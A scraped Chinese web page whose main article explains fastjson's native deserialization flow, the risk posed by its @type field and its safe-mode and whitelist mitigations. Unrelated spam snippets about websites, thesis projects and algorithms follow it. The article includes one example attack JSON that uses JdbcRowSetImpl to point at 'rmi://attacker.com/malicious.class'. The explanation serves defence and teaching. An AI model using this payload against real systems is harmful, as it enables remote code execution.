怎样自己动手做微官网站临沂大企业网站

张小明 2026/1/14 18:39:03
怎样自己动手做微官网站,临沂大企业网站,如何做网站服务器,网站搜索算法一、fastjson 反序列化核心概念 首先明确基础定义#xff1a; 反序列化#xff1a;将 JSON 字符串转换为 Java 对象的过程#xff0c;fastjson 作为高性能 JSON 库#xff0c;其反序列化核心是「基于字节码生成 反射」的混合实现。原生反序列化#xff1a;指 fastjson 默…一、fastjson 反序列化核心概念首先明确基础定义反序列化将 JSON 字符串转换为 Java 对象的过程fastjson 作为高性能 JSON 库其反序列化核心是「基于字节码生成 反射」的混合实现。原生反序列化指 fastjson 默认的反序列化方式非ParserConfig.getGlobalInstance().setSafeMode(true)等安全模式支持完整的类加载、属性注入和方法调用。二、fastjson 原生反序列化核心流程fastjson 反序列化的完整执行链路可分为 5 个核心步骤我用流程图文字拆解输入JSON字符串JSON解析器初始化语法解析与Token提取类加载与实例化属性注入与方法调用返回最终Java对象步骤1JSON解析器初始化fastjson 会创建DefaultJSONParser对象核心参数包括JSON 字符串的字符数组配置类ParserConfig决定是否允许加载自定义类、是否开启安全模式等特征配置Feature如是否允许单引号、是否忽略未知属性等核心代码示例// 手动初始化解析器fastjson底层调用逻辑Stringjson{\type\:\com.example.User\,\name\:\test\};ParserConfigconfigParserConfig.getGlobalInstance();// 默认全局配置DefaultJSONParserparsernewDefaultJSONParser(json,config,Feature.Default);步骤2语法解析与Token提取DefaultJSONParser通过Lexer对 JSON 字符串进行词法分析将字符串拆分为 Token如{、}、type、字符串值、数字值等核心逻辑识别 JSON 结构对象/数组/基本类型提取关键标识尤其是type字段fastjson 反序列化的核心入口指定要实例化的类名校验 JSON 语法合法性如括号匹配、引号闭合等。步骤3类加载与实例化这是反序列化的核心环节fastjson 会根据type指定的类名或默认类完成类加载和对象创建类加载通过ParserConfig的checkAutoType方法校验类名原生模式下默认允许大部分类然后通过Class.forName加载类对象实例化优先调用类的无参构造方法如果没有无参构造且未指定 Creator会抛出异常支持通过JSONCreator注解指定有参构造/静态工厂方法对于集合/数组等容器类会创建对应的空容器对象。核心代码简化版// 类加载逻辑ParserConfig核心方法publicClass?checkAutoType(StringtypeName,Class?expectClass,intfeatures){// 原生模式下跳过大部分安全校验Class?clazzClass.forName(typeName,true,Thread.currentThread().getContextClassLoader());returnclazz;}// 对象实例化JavaBeanDeserializerpublicObjectcreateInstance(DefaultJSONParserparser,Typetype){// 优先找无参构造Constructor?constructorclazz.getDeclaredConstructor();constructor.setAccessible(true);returnconstructor.newInstance();}步骤4属性注入与方法调用实例化对象后fastjson 会遍历 JSON 中的键值对完成属性赋值核心逻辑属性匹配将 JSON 的 key 与 Java 类的字段名/setter 方法匹配支持驼峰/下划线自动转换类型转换将 JSON 中的字符串/数字等值转换为 Java 字段的类型如 String → Integer、JSON 对象 → 嵌套 Java 对象赋值方式优先调用setXxx()方法符合 JavaBean 规范如果没有 setter直接通过反射设置字段值field.setAccessible(true)特殊方法调用对于实现java.io.Externalizable的类会调用readExternal方法对于自定义反序列化器ObjectDeserializer会调用其deserialze方法。步骤5返回最终对象完成所有属性注入后将实例化并赋值完成的 Java 对象返回反序列化流程结束。三、fastjson 反序列化关键组件组件名作用DefaultJSONParser核心解析器负责 JSON 词法/语法分析ParserConfig反序列化配置中心控制类加载、自动类型检测、反序列化器注册等JavaBeanDeserializer默认的 JavaBean 反序列化器处理普通类的实例化和属性注入Lexer词法分析器将 JSON 字符串拆分为 TokenObjectDeserializer反序列化器接口自定义类可实现该接口定制反序列化逻辑四、原生反序列化的核心风险深度剖析重点fastjson 原生反序列化的最大问题在于type字段的滥用核心风险点任意类加载原生模式下checkAutoType校验宽松攻击者可通过type指定危险类如com.sun.rowset.JdbcRowSetImpl反射执行恶意代码危险类实例化后其属性注入过程会触发敏感方法如JdbcRowSetImpl的setDataSourceName会触发 JNDI 调用进而加载远程恶意类无参构造触发风险部分危险类的无参构造方法本身就会执行敏感逻辑如文件写入、命令执行。典型恶意 JSON 示例{type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:rmi://attacker.com/malicious.class,autoCommit:true}执行流程加载JdbcRowSetImpl类 → 实例化无参构造注入dataSourceName属性调用setDataSourceName注入autoCommit属性调用setAutoCommit内部触发connect方法访问 RMI 服务器加载恶意类恶意类执行命令完成攻击。五、fastjson 反序列化优化/安全配置为了规避风险实际使用中需调整配置开启安全模式ParserConfig.getGlobalInstance().setSafeMode(true);白名单控制ParserConfigconfignewParserConfig();config.addAccept(com.example.);// 只允许反序列化指定包下的类禁用type字段DefaultJSONParserparsernewDefaultJSONParser(json,config,Feature.DisableSpecialKeyDetect);总结fastjson 原生反序列化核心是「解析 JSON → 加载类 → 实例化对象 → 反射注入属性」依赖ParserConfig控制类加载规则type字段是反序列化的核心入口也是安全风险的主要来源原生模式下校验宽松易导致任意代码执行生产环境必须开启安全模式/白名单禁用不必要的type解析避免反序列化漏洞。
版权声明:本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!

旅游网站的功能有哪些那几个网站可以做h5

计算机毕业设计生物样本采集系统g774o9 (配套有源码 程序 mysql数据库 论文) 本套源码可以在文本联xi,先看具体系统功能演示视频领取,可分享源码参考。近年来,精准医疗与多中心科研合作快速升温,医院、实验室每天产生的…

张小明 2026/1/12 15:29:14 网站建设

广东住房和城乡建设厅网站造价百度网盘app官网

行业竞争越来越严峻,面试也是越来越难,一直以来我都想整理一套完美的面试宝典,奈何难抽出时间,这套 1000道的 Java 面试手册我整理了整整 1 个月,上传到 Git 上目前 star 数达到了 30K 这套互联网 Java 工程师面试题包…

张小明 2026/1/6 21:06:49 网站建设

如何建立营销型网站网站开发用到的框架

110-改进狼群算法的机械臂路径规划代码,粒子群对机械臂关节进行轨迹优化 改进点: ① 自适应步长、 ② 莱纬飞行、 ③ 自适应召唤等改进 一共三个核心代码,构成完整的运动学路径规划轨迹优化对比实验: [1]图1 a、b、c、d为蚁群、遗…

张小明 2026/1/6 12:51:45 网站建设

网站无法上传照片服务网站建设企业

术语库管理是Weblate本地化工具的核心功能,通过统一的术语标准确保多语言项目翻译一致性。无论是初次接触本地化的新手还是技术团队负责人,掌握Weblate术语库管理技巧都能显著提升团队协作效率和翻译质量。 【免费下载链接】weblate Web based localizat…

张小明 2026/1/11 12:21:00 网站建设

网站大全官网女生说wap是什么意思

一、系统核心定位 基于 SpringBoot 的健康体检网络管理系统,是一款聚焦 “体检全流程数字化、数据可视化、服务智能化” 的综合性平台。该系统解决传统体检中 “预约排队久、流程混乱、报告查询难、数据难追溯” 等痛点,通过整合 “在线预约、体检流程管…

张小明 2026/1/7 12:14:26 网站建设